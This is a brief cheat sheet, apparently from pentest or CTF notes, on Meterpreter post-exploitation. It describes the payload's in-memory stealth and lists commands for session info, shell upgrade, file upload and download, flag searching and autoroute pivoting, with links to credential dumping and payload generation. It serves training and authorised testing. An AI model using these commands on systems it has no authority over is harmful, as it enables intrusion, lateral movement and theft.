Meterpreter essentials

Meterpreter is an advanced, dynamically extensible payload within the Metasploit Framework designed for in-depth post-exploitation. Unlike standard command shells, it operates entirely in target memory via reflective DLL injection without writing files to disk or spawning new system processes, significantly reducing its digital footprint against traditional detection mechanisms. Meterpreter provides operators with a comprehensive and interactive command suite capable of privilege escalation, process migration, file system manipulation, network pivoting, and credential dumping. Because it loads additional features over encrypted communication channels at runtime, it serves as one of the most flexible and stealthy command-and-control agents for simulating realistic adversarial access.

Session info & shell access

sysinfo                    # target OS/arch/hostname
getuid                     # who am I on this session

shell                      # drop into a native cmd.exe / /bin/sh
# from inside a Linux shell, upgrade to something usable:
/bin/bash -i

background                 # park the session, return to msfconsole prompt
sessions -i <id>            # come back to it later

File & session management

upload <local> <remote>
download <remote> <local>
edit <remote_file>          # opens in vim locally, saves back
checksum md5 <file>
getenv <VAR_NAME>
search -d /usr/bin -f *flag*   # find files matching a pattern

Pivoting

run autoroute -s <subnet>/<cidr>   # add this session's reachable subnet as an MSF route

See Pivoting: reach isolated subnets through a compromised host for using that route with proxychains.

Related

• Upgrading a shell session to Meterpreter — getting into a meterpreter session from a plain shell
• Pivoting: reach isolated subnets through a compromised host — building on run autoroute
• Windows post-exploitation — the standard command/post-module workflow after landing a session
• Mimikatz & Kiwi — credential dumping via load kiwi from inside a session
• msfvenom — generating the payloads that land these sessions